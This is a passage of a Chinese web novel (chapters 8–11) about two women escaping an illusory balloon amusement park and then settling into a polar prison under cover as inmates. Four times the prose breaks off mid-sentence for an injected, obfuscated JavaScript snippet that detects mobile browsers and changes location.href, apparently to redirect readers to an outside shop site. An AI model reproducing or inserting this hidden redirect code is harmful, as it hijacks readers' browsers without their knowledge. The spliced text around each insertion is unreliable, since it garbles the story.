不过看31号能够像人一样和霍无忧对话这点来看,它就算是机械,也是有自我意识的机械。 霍无忧不再和31号周旋,她转而看向林雯:“你仔细想想我们在成为气球人之前都做过什么,你进入了控制室,杀死了控制室内的气球人,我则戳爆了4042的脸,她在这里也是气球人。” “所以,我们变成气球人是因为杀死了或者伤害了其它的气球人?”林雯深吸一口气。 在这个狂欢乐园发生的一切都已经超过了她的想象,虽然这已经是一个魔幻的新文明了,毕竟人类在这个文明都已经实现了永生。 “所以,你想把自己也当那种气球人杀一次,看看会发生什么?”林雯这时才明白,霍无忧那疯狂的脑子里竟然还是有点逻辑的,“你就不怕会死?” “我很怕死的,林雯,”霍无忧伸出手,她身体的血肉已经逐渐变得透明,在微光下还能看见变成不同颜色的皮肤,“不用怕,你就捏断我的手臂,先看看会发生什么。” “你为什么不自己做?”林雯就算做足了心理准备,还是不敢按照霍无忧吩咐她的去做。 霍无忧的手臂纤细,苍白,看起来还是很有力量的,只不过这只手臂在不断气球化,所以林雯越看越不敢捏。 “因为我不敢。”霍无忧诚实地回答。 “你不敢所以把事情丢给我做?”林雯震撼。 “对啊。”这回轮到霍无忧理直气壮了。 林雯:…… 林雯:“如果非要有一个人先被伤害,那就让我来吧。” 她大义凛然地献出自己一样被气球化的手臂,送到霍无忧面前,“既然是要伤害我,那就你来伤害,因为我自己也不敢。” 霍无忧看了眼林雯,又看了眼她粗壮有力的手臂,竟然毫无愧疚之心,毫无怜悯之心地就握了上去,吓得林雯飞快地把自己的手给抽出来。 “你干啥?”霍无忧瘪了瘪嘴,明明是林雯自己自愿献身的,现在她又不干了。 “你、你、你、你,”林雯“你”了半天,就憋出来一句:“你是不是就在这等着我呢?!” 顶级阳谋者霍无忧无所谓地摊开手,“我们总要有人干这个,既然你说得这么好听,那就你来呗。” “你不安慰我一下?”林雯难以置信地反问霍无忧:“我们经历了这么多,也该是好朋友了吧,你一点都不关心你的好朋友的死活?” 毕竟林雯也是害怕的,她现在都口不择言了。 “我安慰你了啊,最开始就安慰了,我让你不要怕。”霍无忧深吸一口气,她有时候真不明白林雯是怎么思考的。 “那你捏吧。”林雯紧紧闭上双眼,视死如归地再次把自己的手臂递到霍无忧面前。 霍无忧伸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342954|199444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她冰冷的僵尸手在上面摸了一下,她的体温一直比普通人更低,医生说她是气血不足,霍无忧气血不足了一百年,怎么补都补不回来,她有时想,这或许是她那失踪的女儿给她的惩罚,怪她无能,怪她无力。 最后,霍无忧捏住了林雯的手腕。 “不要怕。”霍无忧慢慢收紧力道,她感觉到林雯整个人都僵直了。 “砰。” 这次是很小声的一次“砰”,林雯眨巴一下眼睛,她第一次知道,原来有人连弄破气球也可以这么温柔。 但在看见霍无忧那张脸的时候,林雯的笑容又垮了下来。 整整一分钟,好像什么都没有发生。 林雯真的在原地站到自己都不害怕了,霍无忧才终于慢慢松开她一直捏住被弄破了一个口子的,林雯的手腕。 气球被放气的声音在空气中响起。 游乐园里依旧响着八音盒的音乐,但不知道是不是因为血雾出现,整个游乐园已经不再像最开始那样美好,八音盒的声音也变成了卡顿的,破烂的音乐声。 林雯只觉得自己好像在不断变轻,她身体里所有东西都在不断往外跑,而她的手始终被霍无忧死死牵着。 “不要害怕。”霍无忧平静地说。 气放到最后,林雯只剩下一颗头颅被霍无忧放在自己怀里。 “我的身体没了?”林雯眨巴一下眼睛。 “看起来是这样。”霍无忧把林雯的头举起来,仔仔细细地看了一圈,只在林雯的下巴发现了一个蔫下去的,红色的气球。 “你说句话。”霍无忧说。 “句话。”林雯难得这么乖。 霍无忧就看见那个原本已经蔫了的红色气球突然胀大,从林雯的嘴巴里钻了出去,等林雯没有说话了,它又无力地从林雯的下巴处坠下来。 “你外面的身体已经成为了气球,而你的内里还有一个球中球。”霍无忧话音刚落,林雯就叹了口气。 “你怎么了?身体很痛吗?为什么叹气?”霍无忧关心地问。 “不是,”林雯有些疲惫地闭了下眼睛,“不知道为什么,我现在就算只剩了个脑袋,我也觉得累,好累好累好累,不是脑袋累,是身体累。” 霍无忧顿了一下,“幻肢痛?” 这是种精神病。 “我不痛,我就是累。”林雯说。 霍无忧有些疑惑,随后,她忽然把目光放在林雯的头颅下面一点的地方。 在空荡荡的空气中,原本戴在林雯手腕上的,狂欢乐园的手表正好端端地围在一圈空气。 上面显示林雯的快乐值依旧为0。 “不,”霍无忧意识到,她和林雯都被骗了,“你的身体或许没有消失。” “什么意思?”林雯没懂。 “字面意思,你的手表还戴在手上,没有掉下去,”霍无忧指着那个围着空气的手表,“要不你试着一个人站起来?” 只有一颗脑袋的林雯:??? “你在开玩笑吗?我怎么可能一个人站起来?霍无忧,我现在是颗脑袋!”林雯没好气地说。 或许是因为劳累的感觉还没有消失,她已经有些喘不过气了,她口中的气球就像勒住她脖颈的细绳一样,当她一说话就累得要命。 “我没在开玩笑,林雯,”霍无忧把林雯的头颅放到地上,“想象一下,你现在是趴在地上的姿势。” “然后,你要站起来。” “你要从地上站起来。” 8. 狂欢乐园(五) 这是林雯这一生最受侮辱的时刻,她从来没有被人像鼓励一条狗一样,鼓励着站起来。 从来没有人能让林雯如此狼狈。 但霍无忧做到了。 林雯已经下定决心,从这个什么破乐园出去之后,她一定要写一篇最长的公文,向首都那群草包述说霍无忧究竟是一个怎样疯狂,怎样没有具备正常人类思维的疯子,简直快把林雯给折磨疯了。 不,林雯其实早该想到的,从霍无忧甚至不向脑机系统索要极地监狱的联系方式,让极地监狱派人来找她,而是选择自己徒步来到极地监狱,差点把腿走截肢开始,她就应该想到,霍无忧是个精神病。 什么泡泡世界,什么4042,什么黑洞,什么弥补者,全部去死,全都去死! 但此时此刻,林雯还是需要站起来,她得离开这个泡泡世界。 “你可以的林雯,想想你的父母——”霍无忧真诚地鼓励林雯道。 “我妈过劳死了,我爸也病死了,她们死的时候,科技还没有很发达,我现在连她们的意识影像也看不见。”林雯平静地说。 “那就想想你的奶奶爷爷——”霍无忧继续说。 林雯:“她们很早之前就自然死亡了。” “想想你的好朋友——” “她们也都死了,在八十年前那场天灾里。”林雯继续平静地回答。 霍无忧:“想想你的爱人。” “我没有这玩意儿,因为我不想爱男人。”林雯说。 霍无忧:…… 霍无忧:“你还有什么在意的人是活着的,是存在的吗?” 林雯仔细思索了一下,“好像没有了。” “那你想着我吧。”霍无忧彻底没招了。 “为什么要想着你,好恶心。”林雯慊弃地说。 “你刚刚不是说我们现在算好朋友了吗?”霍无忧反问林雯。 “我什么时候说过?”林雯扯了下嘴角,因为这几分钟一直高强度说话,她已经有点喘不过气了。 那个红色的气球一会儿胀大,一会儿缩小,像一颗正在跳动的心脏。 霍无忧懒得和她争辩,“你不认账就算了,我们做回萍水相逢的陌生人,你只要能站起来,心里想着谁都行。” “你以为我不想吗?我只是一颗无能的头颅,怎么站起来。”林雯长叹一口气。 “想象你有身体,林雯。”霍无忧蹲下身。 狂欢乐园依旧破破烂烂地响着清脆的,八音盒的音乐声,霍无忧平静地望向林雯,就像一位母亲望向自己还没学会走路的孩子。 “好吧。”林雯闭上眼睛,她试图给自己洗脑,让自己从心底认为自己还没有被气球夺去身体。 下一秒,她发现这个方法似乎真的有奇效,因为她好像能够感受到她的脚了。 林雯尝试曲起膝盖,脚掌着地,她尝试了好几次,作为一颗可怜兮兮的头颅,她能够做的就只有给自己一点可怜的暗示了。 终于,在第十五次尝试过后,林雯感受到她正在逐渐远离地面,等她睁开眼睛的时候,她这颗可怜的脑袋还真的独自漂浮在空中了。 “霍无忧!”林雯新奇地看着自己空空如也的身体,感觉像什么魔术一样。 “现在,请抬起你的手,林雯。”霍无忧说。 “怎么抬?”林雯还是没有彻底理解霍无忧的意思。 但好在,霍无忧是一个十分有耐心的人。 “你感受到你的手在哪里,你就把它从哪里抬起来。”霍无忧需要用林雯印证自己的猜测。 从霍无忧手里的海盗船栏杆变成气球开始,她就有了一个大胆的猜想。 这个世界无理到可以让铁皮变成气球,再加上31号一直在和霍无忧说,泡泡世界就是一个骗局,霍无忧很难不想,她现在看到的,听到的,感受到的,是不是从始至终就是假的? 而在霍无忧眼中,狂欢乐园只出现了两种形态,第一种是看起来就十分美好的,没有任何血腥气息的狂欢乐园,第二种是,完完全全被气球化,空气中全是血雾的狂欢乐园。 哪一种形态是真的,哪一种形态是假的?还是说两种形态都是假的? 霍无忧不太愿意相信狂欢乐园的两种形态都是假的,她认为两种狂欢乐园一定是一真一假地出现在了她的面前。 在这样一个处处透露出诡异的游乐园,进入乐园的人大概率会在看到海盗船变成气球的时候,看到周围的空气全部被浓郁厚重的血雾覆盖时,才会觉得自己看到了这个乐园真正的样子。 越不正常的地方在越不正常的情况下,才会越显得真实。 但如果说,后面的血雾,气球才是假的,最开始霍无忧她们见到的,漂亮得不真实的乐园才是最真实的呢? 就像人在感受幸福的时候觉得世界最不真实,而在感受痛苦的时候才会觉得踏实。 某种程度上,人类生而犯/贱。 所以霍无忧才想到让林雯尝试站起来,既然那块手表都还在林雯的手上戴着,那么她的身体不一定真的就像被放跑了气的气球一样消失在空中。 如果她们现在看见的一切才是狂欢乐园制造的假象,那么林雯的身体就一定不是消失了,而是狂欢乐园懵逼了她们的眼睛,让她们看不见林雯的身体而已。 而就在刚才,看似失去了身体的林雯也真的凭空站了起来。 于是,霍无忧才会继续证实她那个大胆的猜想。 林雯看着圈着空气的,自己的手,她尝试着把那只手抬起来,那只手表也就真的朝她的脸开始靠近。 “是真的!”林雯看着霍无忧笑得灿烂。 在身体消失的刹那,她其实也在害怕,只是比起这样的死亡,她更怕被首都那群人折磨,所以她才没什么所谓。 “所以,这里的一切才是假的,”霍无忧垂眸,“我们进入的狂欢乐园给我们制造了一层类似真实的假象。” “那我们要怎么从这个假象里出去?再打破狂欢乐园这个泡泡?”林雯歪了下头。 “不知道,”霍无忧有些头疼地揉了下脑袋:“我也是第一次进这种地方。” “说真的,霍无忧,你还蛮厉害的,”林雯有些崇拜都看向霍无忧,“你很聪明。” “首都那边没跟你说过吗?”霍无忧挑眉。 “说过什么?”林雯眼中闪过一丝迷茫。 “我是旧世纪博士学历毕业的学生,毕业后,我一直从事生命科学研究工作。”霍无忧平静地说出了让林雯目瞪口呆的事实。 “你居然是个博士?!”林雯这时才又仔仔细细地打量了霍无忧几眼:“我完全没看出来!” 霍无忧:…… 霍无忧长叹一口气:“总之,我们现在先去下一个游乐项目去看看。” “好,去哪个游乐项目?”就算林雯找回了她的身体,但现在,她也只剩一颗头高高地跟着霍无忧。 “摩天轮。”霍无忧说完这话,林雯猛地愣住。 “你不是去过摩天轮了吗?”林雯不懂。 “我们现在所在的地方是假的,我当然要回到我经过的地方再去确认一眼,以及,4042似乎也只出现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342955|199444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个虚假的地方。”霍无忧耐心地解释道。 林雯“哦”了一声。 两个人一前一后朝摩天轮的方向走。 和霍无忧料想的一样,摩天轮也已经变成了气球,她把自己的手掌覆上摩天轮,她手腕上的手表便发出“滴滴”的,警报的声响。 与此同时,霍无忧的快乐值急剧下降,直到跌破200,才堪堪停下。 霍无忧疑惑地想要拿开手,下一秒,她就在摩天轮的气球里看见了一个人。 “4042?”林雯也上前一步。 这一次出现在她们面前的4042并不是以气球人的形象,而是以真实的,人的形象。 霍无忧还在愣神,这边31号已经再次开口,“恭喜,你又一次进入了需要做出选择的关键时刻,霍无忧,你见到了4042最真实的灵魂。” “现在你需要做出选择: 一是,伸出手,透过气球掐死4042,获得离开狂欢乐园的机会,但因为没有打破泡泡,你将无法获得任何贡献点和玩家积分; 二是,从4042口中获得关于狂欢乐园的线索,一步一脚印,老老实实地打破泡泡,获得玩家积分和贡献点。” 霍无忧上次做出的选择看似没有让她陷入绝境,但她真的阴差阳错因为海盗船倒吊过来,如果不是因为变成了气球,进入了乐园里的,会让人看见虚假的世界,她都不知道自己会不会真的死在这里。 “怎么现在就给我能出去的选择了?上一次为什么不给?”霍无忧冷笑一声。 “因为你上次碰见的4042是气球形态的4042,每一次的关键选择,都与你见到的,触碰到的,不同的4042有关,这个4042可以让你离开,上一个就不行。”31号清晰地解释道。 “我选一。”霍无忧这一次倒是开始稳重了。 “这是个明智的选择。”31号说。 “但不一定是正确的选择,对吗?”霍无忧反问。 “这就是最正确的选择,因为你和林雯在这里待了将近三个小时,甚至还没有进入狂欢乐园的第二层,你没有实战经验就进入这样的骗局,如果现在不抓紧机会出去,恐怕真的会死在这里,”31号说:“当然,我也不知道,这对你来说是一种幸运还是不幸。” 霍无忧垂眸,31号也不再和霍无忧说话。 按照反诈系统的提示,霍无忧伸出手,透过气球掐住就站在气球边缘的4042。 她的表情是那样悲凉,看向霍无忧的时候,4042竟然还落下一滴眼泪。 “你可以给我一个承诺吗?妈妈。” 4042的那一声“妈妈”瞬间让霍无忧止住动作。 “妈妈,”这个悲凉的4042说:“你一定要回来找我,带我去游乐园玩。” “妈妈——” 4042的声音唤起林雯一身的鸡皮疙瘩,虽然她看不见她的身体,但那毛骨悚然的感觉不是假的。 “好吗?妈妈。”4042竟然主动抬起霍无忧的手,往她的脖颈处放。 “好。”霍无忧的声音久违地变得十分温柔。 4042也露出一个释然的笑容,下一秒,霍无忧骤然用力,整个摩天轮瞬间爆破,4042淌着血的头颅已经来到了霍无忧手里。 霍无忧下意识想要看看4042的样子,但下一秒,周围的场景变幻,霍无忧再回过神来时,她和林雯已经回到了极地监狱十八层的透明玻璃房。 原本应该坐在她们面前的4042消失不见,取而代之的,是一个漆黑的圆洞。 9. 弥补者小队集合 离开泡泡世界后,霍无忧的第一反应是去看现实世界的时间。 依旧是三个小时过去,泡泡世界里的时间和现实世界的时间流速目前看来是一样的。 林雯也终于长舒一口气,缓过神后,她让脑机系统调来了这三个小时极地监狱十八层内的监控。 出乎意料的是,这三个小时内,她和霍无忧真的就站在原地毫无动作,而编号4042的囚犯也就在她们进入泡泡世界的那一刹那,瞬间化成了一个漆黑的圆洞。 虽然没有十三层的那个圆洞大,但也有半扇门那么大了。 所以这圆洞到底是什么?泡泡世界又到底是个什么东西?圆洞和泡泡世界之间到底有什么联系?以及,霍无忧为什么会这么了解泡泡世界? 霍无忧光是看林雯那个眼神,都能猜到林雯在想什么,不过她目前还没有要和林雯坦白的打算,她依旧没有完全信任林雯。 但要是什么都不说,未免太过冷漠,所以霍无忧组织了一下语言便对林雯开了口: “我有一个猜想,这个黑洞,就是泡泡世界的入口,那些你们派进去探险的人或许就是迷失在了我们刚刚所在的泡泡世界里,而泡泡世界本身,我可以告诉你,它其实是只是一个骗局。” “大概是一种受骗的人因为太过痛苦而产生的一种骗局?但我也还在探索中,”霍无忧这话说得模棱两可,但她的确感到疑惑,她知道的信息太少了,反诈系统也不会一股脑地把所有她想要的答案都告诉她,“如果我们能查到4042到底去了哪,或许我们会有一个答案。” 4042绝对是这群感染者中最重要的突破口,按照现在这个情况来看,也难怪不得首都那边的人要把霍无忧叫做“弥补者”,搞了半天,这黑洞从头到尾就是一个谎言。 林雯当然也没有全信霍无忧的话,只是她们刚刚一起经历了一个泡泡世界的冒险,她现在还没有彻底缓过神。 这个时候,温念尘忽然给林雯发送了一条新信息: 【首都那边派过来的第二个弥补者到极地监狱了,你抽空把霍无忧带上来,让她们见一面。】 林雯挑了挑眉,首都那边只派了两个弥补者前来,本来她以为两个弥补者会同时到极地监狱,谁知道霍无忧先到了,另一个说是在路上遇到了风暴,耽搁了一些时间。 “你的同伴到了,”林雯拍了下霍无忧的肩膀,“那应该是你唯一的一个同伴,我们接到的消息是这样。” “同伴?”霍无忧挑眉。 “走吧,”林雯有些疲惫,不知道为什么,从泡泡世界出来以后,她整个人都有一种随时随地倒头就要睡下的感觉,“我们去会会你这位同伴。” “我不认为她真的会是我的同伴,首都从来没有跟我透露过一点关于同伴的信息。”霍无忧打断了林雯的思绪。 林雯转身的脚步蓦地顿住了,“你的意思是,她不可信?” “暂时看来是这样,不过,我或许可以相信你,林雯。”霍无忧抬手抚摸了一下林雯的头发。 敌人的敌人就是朋友。 极地监狱和首都的关系很微妙,霍无忧不会允许自己单打独斗,一个人的力量始终太过弱小。 林雯顿了一下,没有反抗霍无忧抚摸她的那只手,有时候,她像一只自作聪明的狗,不过霍无忧不讨厌狗就是了。 两人一前一后离开了十八层,在坐圆盘电梯上去的过程中,她们都没有再开口。 林雯的办公区在极地监狱第九层,温念尘的办公区在林雯办公区隔壁,很多时候林雯不在,都是温念尘替她办事。 于是,在接收到极地监狱外的脑机信号的时候,温念尘眼见给林雯发消息一直没得到回应,便自作主张把那个顶着风雪来到极地监狱的女人放了进来。 女人穿着极厚的军大衣棉服,露出来的皮肤呈现健康的小麦色,因为监狱里的恒温系统,女人一进来就被热得脱下雷锋帽和军大衣,这时,温念尘才瞧见女人剃了寸头,眼睛还是十分诡异的重瞳。 “非常抱歉这么晚了还来打扰您,实在是路上耽误了太久的时间,本来我预估应该会在今天下午三点到的,结果现在都要零点了,”女人呼出一口热气,“我姓黎,全名黎晨想,之前在首都军部当职。” “我叫温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342956|199444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念尘,是极地监狱的医生,以后你有病可以来找我。”温念尘的声音很冷。 察觉到温念尘不想跟自己说话,黎晨想十分识趣地没有在开口,到达林雯的办公室之后,温念尘才说让她在这里等一会儿,马上黎晨想那位同伴就过来了。 黎晨想应声过后,温念尘又尽到主人的职责,为黎晨想泡了杯热茶。 电梯到达对应楼层后发出的“滴滴”声通过走廊隐约传到黎晨想的耳中,在办公室的大门被打开的时候,黎晨想才终于放下热茶,礼貌地站起身,对开门进来的两人露出一个温和的微笑。 紧跟着,黎晨想就看见两人中皮肤苍白,看起来更加瘦弱的那个女人对着她的脸愣了一下。 或许也不是对黎晨想的脸。 于是黎晨想知道了,这个愣神的女人,就是首都让她保护的那位霍教授。 “你们好。”黎晨想开口打破了沉默。 这边,在见到那位首都给霍无忧匹配的同伴的时候,霍无忧一度以为,首都是想给她找个保镖。 那人太高大了,她的身高起码有一米九,而且整个人身上练得全都是腱子肉,她还剃了寸头,脸虽然长得还算正常,但她的眼睛却是十分诡异的重瞳。 而在见到霍无忧的一瞬间,她的第一反应还是道歉,“霍教授,非常抱歉我现在才到达极地监狱,和我与首都约定的时间晚了将近三个小时,首都那边的意思是,之后你在极地监狱从事的任何生命科学实验或工作都由我作为的助理,协同进行。” 她对霍无忧的称呼让霍无忧觉得非常有趣,已经很久没有人叫过她“霍教授”了。 但能知道“霍教授”这个称呼,就证明这位同伴一定和霍无忧心里想的那个人见过了。 的确不能相信。 “非常高兴能够认识你,霍教授,”那人朝霍无忧伸出手,顺便介绍自己道:“我叫黎晨想,早晨的晨,幻想的想。” 空气一阵静默,林雯和温念尘站在旁边只觉得这气氛十分诡异。 过了将近一分钟,霍无忧才试探性地握住了那只满是剑茧的手,对黎晨想说:“你好。” 10. 黎晨想 黎晨想不像来帮霍无忧的,像是来监视霍无忧的,顺便她还带着一丝首都想让霍无忧意识到的威胁。 人在看到比自己强大的生物时,第一反应都会畏惧。 而黎晨想好似没有看到霍无忧眼中的恐惧一样,自顾自地拿出首都要她交给霍无忧的东西——一个看起来尘封许久首饰盒。 “这是季教授让我交给您的,”黎晨想顿了一下,才继续道:“季教授的意思是,您只要看到里面的东西,就知道那个洞该怎么做了。” 季教授。 霍无忧敏锐地注意到了这个称呼,据她所知,首都那边叫得上名号的“季教授”就只有一位。 不过,当务之急是打开这个首饰盒,霍无忧对里面的东西十分好奇。 不止是霍无忧,林雯也同样好奇,办公室内反应最平静的应该是温念尘了。 而在打开首饰盒之后,霍无忧的第一反应是疑惑,因为里面除了装了一根生锈的长命锁项链,什么都没有,她翻看首饰盒底部,又使劲摇了摇首饰盒,确定里面除了这根项链就没有别的东西了之后,她简直要被气笑了。 “这项链有什么特别的吗?”林雯眯起眼睛,试图看穿这根项链的特别之处,但很遗憾,她失败了。 黎晨想表示不知道,她只是负责帮忙传递信息和项链的,除此之外,那位季教授没有给她交代任何多余的话。 “目前看来没什么特别的。”霍无忧只觉得无语,她把项链扔回首饰盒,就要随意放在林雯的办公桌上。 这时,温念尘忽然来了一句:“你是真的不记得了,还是假的不记得了?” 她这话一瞬间吸引了所有在在办公室里的人的注意力,霍无忧眯了下眼睛,“我之前就觉得你很眼熟,我们是不是在哪见过?” “这是另一回事,”温念尘把视线放在被霍无忧扔到办公桌上的首饰盒里,“这条项链并不重要,但这条项链的主人是谁很重要,霍无忧。” 经过温念尘的提醒,霍无忧这才总算想起,这条项链到底特别在哪了。 这条项链是霍无忧的女儿霍山漪的项链,也是霍无忧在霍山漪十岁那年送给她的生日礼物,最后,因为霍山漪的失踪,这条项链被遗落在了旧世界云荒四中操场,红胶跑道的下水井里。 当时警方密切关注这件事,但霍山漪就像人间蒸发了一样,再也没有音讯,除了霍无忧在红胶跑道下找到的这条长命锁项链。 这和黑洞有什么关系?和泡泡世界有什么关系?还是说,霍山漪的失踪在旧世界的时候,就已经和黑洞,和泡泡世界有关联了?那个时候这些东西就已经出现了? 但霍山漪已经失踪了将近一百二十年,霍无忧想从她这个女儿的方向下手都没有办法。 以及,温念尘又是怎么会知道霍无忧有一个女儿,而这个项链又是属于霍无忧的女儿的呢? 温念尘平静地望向霍无忧,霍无忧怀疑地回望过去,最后温念尘终于十分生硬地转移了话题,“你和黎晨想不能直接在极地监狱生活,首都那边的意思是,给你们安重一点的罪,让你们和极地监狱的罪犯一起生活。” “就不能让我们成为狱警吗?”霍无忧觉得首都的要求在某种意义上真的很奇怪,犯人和狱警的权限肯定是不一样的。 “首都的意思是,她们认为黑洞的来源和极地监狱的犯人有关,半个月前,黑洞开始扩大,恰好有一批新的犯人在那个时候被押送到了极地监狱,问题可能出现在这儿。”林雯解释道。 霍无忧没有回答,虽然她不知道首都葫芦里到底卖的什么药,但现在这情况也只能走一步看一步了。 “这就是首都给你们的新身份。”林雯从自己的办公桌抽屉里拿出了两个工牌,上面已经印好了霍无忧和黎晨想的囚犯编码,以及她们的一些基本信息,包括她们是因为什么入狱的。 “文明危害罪是个什么罪?”霍无忧拿到自己的入狱信息牌时,没忍住问了一嘴。 “邪教。”温念尘言简意赅地给霍无忧中译中了一下。 霍无忧:…… 编还是首都那群草包会编。 “我这个反动联盟罪又是什么?”黎晨想同样不理解,她大块地站在霍无忧旁边,把霍无忧称得像一个小巧的热水壶。 “起义。”同样是温念尘回答了黎晨想的问题。 听到这个回答,霍无忧和黎晨想同时愣了一下,随即露出无奈的笑容。 “你要不要也去十三层看看那个黑洞?”林雯想要尽职尽责地做完自己指引者的任务,“还是说让霍无忧给你讲讲那边的情况就行?霍无忧这三个小时都了解过了。” 林雯很巧妙地没有提到泡泡世界,在任何人面前,在任何情况下都没有提起,就像她和霍无忧去到极地监狱第十八层的这三个小时内什么都没有发生一样。 “反正之后都有机会,今天的时间已经很晚了,霍教授需要休息,两位女士工作一天也已经很辛苦了,不用着急去看黑洞。”黎晨想善解人意地说。 林雯点了点头,“那我带你们去犯人们的住处,之前我已经叫人安排了一个双人间,现在那边应该已经打扫好了。” 霍无忧和黎晨想的住所被安排在第七层,和林雯的办公室只隔了两层,离得近总是方便一些,霍无忧和黎晨想之后在极地监狱的行动,都还很需要林雯的照拂。 此外,温念尘的医务室也在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342957|199444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第九层,霍无忧有种预感,她和黎晨想之后肯定会受伤。 监狱这种地方,跟学校,公司都差不多,通俗一点来说就是个小型社会。 学生,上班族在学校和公司尚且都要分个三六九等,犯人当然也逃不过这样的等级法则。 而极地监狱和首都监狱这样大多数时候关押经济犯罪的监狱又不太一样,极地监狱因为地理位置极其偏远,且气候环境恶劣,所以能被发配到这里的犯人都是罪大恶极,穷凶极恶之徒。 极地监狱的囚徒分为七个等级,从一到七,从小到大,危险程度依次递增,第七层住着的犯人就是整个监狱最危险的犯人。 “这也是首都的意思,”林雯在送她们去宿舍的路上为她们严肃地讲述了极地监狱的生存法则以及等级制度,“首都认为,最有可能找到线索的地方在这里,所以让我把你们安排在这里。” 第七层的走廊上十分安静,巡逻的狱警是个强壮的女性,看见林雯后,她微微点头朝自己的上司示意,林雯回应她之后,便停住脚步。 “707号房从今往后就属于你们了,”林雯回头抬了抬下巴,“用你们的罪犯工牌刷卡就能进去,因为这里的系统只录入了你们两个人的基本信息,所以你们不用担心有别人会进来,在宿舍里你们绝对是安全的。” 听到林雯的话,霍无忧上前用自己的工牌刷开了707,出乎意料的是,这里的环境还不错,至少所有的基本用品一眼望去都齐全,而且都是新的。 三人一起进入707,林雯主动关上宿舍门,继续说:“日常生活用品里面都备了双份,你们可以自己分,有什么其它需要可以来九层找我,我会让人给你们添置你们所需要的东西。” 说到这,林雯忽然顿了一下,“但我要提醒你们,虽然我和温念尘都接到了首都那边的示意,要帮助你们完成任务,但这项任务严格来说是要保密的,所以其她在平台极地监狱上班的员工都不知道你们的真实身份,以及你们来到极地监狱的真实目的,对于她们来说,你们只是新来的两个危险的犯人。” “其她犯人就更不可能知道你们来这里的苦衷了,所以一切都需要靠你们自己,我和温念尘最多也就起到一个辅助作用,”这时,林雯忽然把视线放到霍无忧身上,“祝你们好运。” 说完,林雯又打开宿舍门离开,去给负责管理第七层的狱警交接工作去了。 整个707现在只剩下黎晨想和霍无忧,日常用品什么的确实很好分,霍无忧和黎晨想都是利落的人。 极地时间已经来到了凌晨一点,但霍无忧毫无困意。 最后她斟酌着向黎晨想开口:“首都那边是怎么说服你来这里的?” 11. 极地监狱守则 “她们没有说服我。” 黎晨想稍微整理了一下自己将来要生活的区域,她是个习惯把自己的住所打理得井井有条的人,对比起来,霍无忧简直是把自己的床往鸡窝的方向造。 “她们只是命令我到这里来,帮助一个叫霍无忧的人,霍教授。”黎晨想说。 “那你都没有怨言的吗?极地监狱这样的地方,来了就很难再回去了,何况我们的任务十分艰难,但首都那边竟然就只派了我们两个人来完成,你就不怕自己会死在这?”霍无忧还是觉得黎晨想不会这么单纯地就被骗来极地监狱。 只要是个正常人,一听自己要被派发到极地监狱,不可能心平气和地就接受了吧,就连把霍无忧送到极地监狱的那个司机都能把她扔在半路,让她自己徒步到极地监狱里。 但黎晨想只是平静地回答:“霍教授,我在首都只是一个很小的巡逻队队员,因为身体原因不能生育才可以作为一个员工在城市里正常生活,再者,我是首都巡逻队里唯一的女性,像我这样的人是不能有怨言的。” 这话一出来,霍无忧几乎可以明白黎晨想的处境。 新世纪的女性只被赋予了生育权,不为首都,不为人类幸存者联盟繁衍生息就不能被称作为人,像黎晨想这样身体本身就有缺陷的女性,比起那些不愿意生育的女性,更是“罪加一等”。 霍无忧就算再不爱首都,再不喜欢首都里的某个人,再怀疑黎晨想的来历,再这样的话题上,她难免觉得可悲。 “不过我也是刚刚才知道,原来你还有一个女儿,霍教授,您既然有女儿,又为什么会因为拒绝生育的罪行被关进首都监狱?”黎晨想略过了这个沉重的话题,大概是因为她看见霍无忧的表情变得越发怜悯。 “我一直以为我的女儿已经死了,毕竟她已经失踪了整整一百一十八年,或许她确实就是死了,”霍无忧很自然地接过话茬,“至于为什么我会因为拒绝生育被关进首都监狱,你或许得问让你来这里的季教授。” 黎晨想“哦”了一声,“你女儿叫什么名字?” “霍山漪,山川的山,涟漪的漪。”霍无忧拿起那条长命锁项链。 “你给她取的名字?”黎晨想又问。 “不。”霍无忧摇了摇头。 